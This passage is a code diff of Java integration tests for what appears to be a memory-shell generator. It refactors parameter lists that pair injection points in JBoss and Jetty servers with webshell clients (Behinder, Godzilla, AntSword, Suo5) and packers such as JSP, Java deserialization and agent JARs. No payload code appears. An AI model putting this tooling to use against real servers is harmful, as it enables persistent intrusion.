arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+27
-27
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jbossas;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -45,29 +45,29 @@ public class Jboss711ContainerTest {
|
||||
*/
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
+27
-27
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,29 +42,29 @@ public class JbossEap6ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.memshell.UndertowShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.UndertowShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -43,36 +43,36 @@ public class JbossEap7ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+29
-29
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,30 +42,30 @@ public class Jetty10ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
|
||||
|
||||
+29
-29
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,30 +42,30 @@ public class Jetty11ContainerTest {
|
